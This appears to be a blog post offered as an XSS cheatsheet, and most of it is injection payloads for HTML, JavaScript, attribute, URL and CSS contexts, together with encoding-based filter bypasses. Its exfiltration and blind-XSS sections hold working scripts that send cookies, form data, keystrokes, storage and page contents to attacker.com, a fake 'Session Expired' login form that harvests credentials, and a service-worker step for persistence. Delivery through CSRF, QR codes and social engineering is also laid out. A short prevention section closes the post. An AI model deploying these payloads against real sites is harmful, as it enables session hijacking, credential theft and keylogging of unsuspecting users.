Post

XSS (Cross-Site Scripting)

XSS (Cross-Site Scripting)

Introduction

Cross-Site Scripting (XSS) is a client-side injection vulnerability that allows attackers to execute malicious JavaScript in victims’ browsers. This cheatsheet covers various XSS types, detection techniques, exploitation methods, and prevention strategies.

Types of XSS Vulnerabilities

Reflected XSS

  • Payload is part of the request and reflected in the response
  • Non-persistent, typically delivered via malicious links
  • Executed immediately when user visits the malicious URL

Stored XSS

  • Payload is stored on the target server (database, file system, etc.)
  • Persistent, affects all users who view the infected page
  • Examples: comments, user profiles, product reviews

DOM-based XSS

  • Payload executes due to client-side JavaScript manipulation
  • Vulnerable JavaScript modifies the DOM unsafely
  • Often doesn’t involve server communication

Common XSS Contexts & Basic Payloads

HTML Context

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- Basic alert -->
<script>alert('XSS')</script>

<!-- Image with onerror -->
<img src="x" onerror="alert('XSS')">

<!-- SVG-based XSS -->
<svg onload="alert('XSS')">

<!-- Body onload -->
<body onload="alert('XSS')">

<!-- Video tag -->
<video><source onerror="alert('XSS')">

<!-- Audio tag -->
<audio src=x onerror="alert('XSS')">

JavaScript Context

1
2
3
4
5
6
7
8
9
10
11
// Breaking out of string context
";alert('XSS');//

// Breaking out of template literals
${alert('XSS')}

// Inside a function argument
'-alert('XSS')-'

// Breaking from comments
*/alert('XSS')/*

Attribute Context

1
2
3
4
5
6
7
8
<!-- Event handler injection -->
<button onclick="'-alert('XSS')-'">Click Me</button>

<!-- Breaking out of attribute -->
" onmouseover="alert('XSS')

<!-- Closing tag and adding new tag -->
"><script>alert('XSS')</script>

URL Context

1
2
3
4
5
<!-- JavaScript protocol -->
<a href="javascript:alert('XSS')">Click Me</a>

<!-- Data URL -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click Me</a>

CSS Context

1
2
3
4
5
6
7
8
9
<style>
@import 'data:text/css;base64,LyogKi9ib2R5e3Zpc2liaWxpdHk6aGlkZGVufS8qICovYXtjb2xvcjpyZWR9LyogKi9ib2R5e3Zpc2liaWxpdHk6dmlzaWJsZTtmb250LXNpemU6MTVwdH0vKiAqL3h7Zm9udDoxcHQvMXB0IFwnaHR0cHM6Ly9leGFtcGxlLmNvbS94c3MuanNcJ31h';
</style>

<div style="background:url('javascript:alert(1)')">

<style>
body{font-family:'</style><script>alert(1)</script>'}
</style>

Advanced XSS Payloads

Filter Bypass Techniques

Mixed Case Bypass

1
<ScRiPt>alert('XSS')</ScRiPt>

No Script Tags

1
2
3
<img src="x" onerror="alert('XSS')">
<div onmouseover="alert('XSS')">hover me</div>
<body onload="alert('XSS')">

Encoding Bypass

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- HTML Encoding -->
&lt;script&gt;alert('XSS')&lt;/script&gt;

<!-- URL Encoding -->
%3Cscript%3Ealert('XSS')%3C/script%3E

<!-- JavaScript Unicode Escape -->
\u003Cscript\u003Ealert('XSS')\u003C/script\u003E

<!-- Hex Encoding -->
<script>eval('\x61\x6c\x65\x72\x74\x28\x27\x58\x53\x53\x27\x29')</script>

<!-- Base64 -->
<script>eval(atob('YWxlcnQoJ1hTUycpOw=='))</script>

<!-- Double Encoding -->
%253Cscript%253Ealert('XSS')%253C/script%253E

Script Splitting / Obfuscation

1
2
3
4
5
6
7
8
9
10
11
<!-- String splitting -->
<script>a='ale';b='rt';c='(1)';eval(a+b+c)</script>

<!-- Concatenation -->
<script>document['write']('<img src=x onerror=alert(1)>')</script>

<!-- No parentheses -->
<script>onerror=alert;throw 1</script>

<!-- No quotes -->
<script>alert`XSS`</script>

Character Mutations

1
2
3
4
5
6
7
<!-- Mutations -->
<ſcript>alert(1)</ſcript>
<script/x>alert(1)</script>
<script ~~~>alert(1)</script>

<!-- Null byte (in older browsers) -->
<img src="javascript:alert('XSS')%00.jpg">

DOM-based XSS Payloads

1
2
3
4
5
6
7
8
9
10
11
// location.hash exploitation
// Vulnerable code: document.write(location.hash.substring(1))
https://example.com/page.html#<img src=x onerror=alert('XSS')>

// document.referrer exploitation
// Vulnerable code: document.write(document.referrer)
<script>location='https://vulnerable.com/?'+document.cookie</script>

// localStorage exploitation
// Vulnerable code: document.write(localStorage.getItem('data'))
<script>localStorage.setItem('data', '<img src=x onerror=alert(1)>');</script>

XSS for Data Exfiltration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
// Cookie stealing
<script>
fetch('https://attacker.com/steal?cookie='+encodeURIComponent(document.cookie))
</script>

// Form data extraction
<script>
document.querySelectorAll('form').forEach(form => {
  form.addEventListener('submit', function(e) {
    fetch('https://attacker.com/steal', {
      method: 'POST',
      body: new FormData(form)
    });
  });
});
</script>

// Keylogger
<script>
document.addEventListener('keypress', function(e) {
  fetch('https://attacker.com/keys?key=' + e.key);
});
</script>

// Credential harvesting via fake login form
<div style="position:fixed;top:0;left:0;width:100%;height:100%;background:#fff;z-index:9999;">
<h2>Session Expired</h2>
<form onsubmit="fetch('https://attacker.com/creds?u='+this.username.value+'&p='+this.password.value);return false">
  <input name="username" placeholder="Username">
  <input type="password" name="password" placeholder="Password">
  <input type="submit" value="Login">
</form>
</div>

XSS with iframe

1
2
3
4
5
<iframe src="javascript:alert('XSS')"></iframe>

<iframe srcdoc="<script>alert('XSS')</script>"></iframe>

<iframe onload="alert('XSS')"></iframe>

Blind XSS

Blind XSS occurs when payload execution happens on pages that the attacker cannot directly see, such as admin panels, logs, or support tickets.

Blind XSS Payloads

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// Basic external script payload
<script src="https://attacker.com/payload.js"></script>

// Fetch-based payload
<script>
fetch('https://attacker.com/blind?url='+encodeURIComponent(location.href)+
      '&cookie='+encodeURIComponent(document.cookie)+
      '&localStorage='+encodeURIComponent(JSON.stringify(localStorage))+
      '&sessionStorage='+encodeURIComponent(JSON.stringify(sessionStorage))+
      '&html='+encodeURIComponent(document.documentElement.innerHTML.substring(0,1000)))
</script>

// Image-based payload (does not require script tags)
<img src=x onerror="this.src='https://attacker.com/blind.jpg?url='+encodeURIComponent(location.href)">

// SVG-based payload
<svg onload="fetch('https://attacker.com/blind?'+document.domain)">

Blind XSS Testing Tools

XSS Hunter

1
<script src="https://yoursubdomain.xss.ht"></script>

Blind XSS with Burp Collaborator

1
2
3
4
5
6
7
8
9
10
11
<script>
  fetch('https://BURP-COLLABORATOR-SUBDOMAIN.burpcollaborator.net', {
    method: 'POST',
    body: JSON.stringify({
      url: location.href,
      cookies: document.cookie,
      localStorage: localStorage,
      dom: document.documentElement.outerHTML.substring(0,5000)
    })
  })
</script>

Custom Self-Hosted Solution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
// payload.js on attacker server
(function() {
  var data = {
    url: location.href,
    cookies: document.cookie,
    localStorage: JSON.stringify(localStorage),
    dom: document.documentElement.innerHTML.substring(0, 5000),
    userAgent: navigator.userAgent,
    time: new Date().toString()
  };
  
  fetch('https://attacker.com/collect', {
    method: 'POST',
    headers: {'Content-Type': 'application/json'},
    body: JSON.stringify(data)
  });
})();

Blind XSS Exploitation Techniques

Identify Potential Blind XSS Entry Points

  • Contact/Support forms
  • User profiles that admins review
  • Error logs
  • HTTP headers (User-Agent, Referer)
  • Export/import features
  • Comment sections
  • Product reviews

Payload Persistence & Re-execution

1
2
3
4
5
6
7
8
9
10
11
12
// Store in localStorage for persistence
<script>
localStorage.setItem('xss_payload', '<img src=x onerror="alert(1)">');
document.write(localStorage.getItem('xss_payload'));
</script>

// Create a service worker for persistence
<script>
if (navigator.serviceWorker) {
  navigator.serviceWorker.register('https://attacker.com/sw.js');
}
</script>

Information Collection

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
// Gather extensive information upon execution
<script>
var data = {
  url: location.href,
  cookies: document.cookie,
  localStorage: JSON.stringify(localStorage),
  sessionStorage: JSON.stringify(sessionStorage),
  html: document.documentElement.outerHTML,
  screenshot: getScreenshot(), // Function to capture canvas screenshot
  userAgent: navigator.userAgent,
  time: new Date().toString(),
  origin: document.location.origin,
  referrer: document.referrer,
  adminElements: checkForAdminElements(), // Function to check admin UI elements
  // Network and environment information
  ip: await (await fetch('https://api.ipify.org?format=json')).json(),
  indexed_db: await listAllIndexedDB(),
};

fetch('https://attacker.com/collect', {
  method: 'POST',
  headers: {'Content-Type': 'application/json'},
  body: JSON.stringify(data)
});
</script>

XSS Delivery Methods

URL-Based Delivery

1
2
3
4
5
6
7
8
# URL parameters
https://vulnerable.com/search?q=<script>alert('XSS')</script>

# Hash/fragment
https://vulnerable.com/#<script>alert('XSS')</script>

# Path-based (if reflected in page)
https://vulnerable.com/<script>alert('XSS')</script>

Form-Based Delivery

1
2
3
4
5
6
7
8
9
10
11
12
<!-- Automatic form submission -->
<body onload="document.forms[0].submit()">
<form action="https://vulnerable.com/process" method="POST">
  <input name="comment" value="<script>alert('XSS')</script>">
</form>
</body>

<!-- CSRF to deliver XSS -->
<form id="xss" action="https://vulnerable.com/profile/update" method="POST">
  <input type="hidden" name="bio" value="<script>alert('XSS')</script>">
</form>
<script>document.getElementById("xss").submit();</script>

HTTP Header Injection

1
2
3
4
5
6
7
8
# User-Agent header
curl -H "User-Agent: <script>alert('XSS')</script>" https://vulnerable.com

# Referer header
curl -H "Referer: <script>alert('XSS')</script>" https://vulnerable.com

# X-Forwarded-For header
curl -H "X-Forwarded-For: <script>alert('XSS')</script>" https://vulnerable.com

File Upload XSS

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<!-- SVG file with embedded script -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>alert('XSS')</script>
</svg>

<!-- HTML file upload (if allowed) -->
<html>
<body>
<script>alert('XSS')</script>
</body>
</html>

<!-- XSS in file name -->
file_name_"><script>alert('XSS')</script>.jpg

<!-- XSS in metadata (EXIF) -->
exiftool -DocumentName="<script>alert('XSS')</script>" image.jpg

QR Code XSS Delivery

  1. Generate QR code containing: https://vulnerable.com/?q=<script>alert('XSS')</script>
  2. Victim scans QR code
  3. Browser loads malicious URL

Social Engineering Delivery

  1. Send shortened/obfuscated URL via email/message
  2. Create fake login page that forwards XSS payload
  3. Use typosquatting domains with XSS payloads

Testing for XSS

Manual Testing Steps

  1. Identify input vectors (URL parameters, form fields, headers)
  2. Test with simple payloads: <script>alert('XSS')</script>
  3. If blocked, try alternative payloads and bypass techniques
  4. Test different contexts (HTML, JS, attributes)
  5. Check for reflections in responses
  6. Verify execution by using alert() or external callbacks

Automated Tools for XSS Detection

  • XSStrike
  • OWASP ZAP
  • Burp Suite (Pro) Scanner
  • Nikto
  • w3af
  • Acunetix

Prevention & Mitigation

Input Validation

1
2
3
4
5
// Server-side input validation
function validateInput(input) {
  // Allow only alphanumeric and specific characters
  return /^[a-zA-Z0-9\s\.,\-_]+$/.test(input);
}

Output Encoding

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
// Server-side HTML encoding
function htmlEncode(input) {
  return input
    .replace(/&/g, '&amp;')
    .replace(/</g, '&lt;')
    .replace(/>/g, '&gt;')
    .replace(/"/g, '&quot;')
    .replace(/'/g, '&#x27;');
}

// JavaScript encoding
function jsEncode(input) {
  return input.replace(/[^\w\s]/gi, function(c) {
    return '\\u' + ('0000' + c.charCodeAt(0).toString(16)).slice(-4);
  });
}

Content Security Policy (CSP)

1
2
# Strong CSP Header
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; frame-src 'none';

XSS Protection Headers

1
2
# X-XSS-Protection Header (legacy)
X-XSS-Protection: 1; mode=block

Framework-specific Protections

1
2
3
4
5
6
7
8
9
10
11
// React (auto-escapes by default)
const userContent = "<script>alert('XSS')</script>";
return <div>{userContent}</div>; // Safe in React

// Angular
// Use [innerText] instead of [innerHTML]
<div [innerText]="userContent"></div>

// Vue.js
// Use v-text instead of v-html when possible
<div v-text="userContent"></div>

Common XSS Vulnerable Parameters

  • search, q, query, s
  • redirect, url, next, target, return, returnUrl
  • callback, jsonp, api_callback
  • name, username, user
  • message, content, comment
  • email, phone, address
  • title, subject
  • lang, locale
  • theme, style
  • debug, test

References

  1. OWASP XSS Prevention Cheat Sheet
  2. PortSwigger XSS Guide
  3. XSS Hunter
  4. PayloadsAllTheThings - XSS
  5. HackTricks - XSS
This post is licensed under CC BY 4.0 by the author.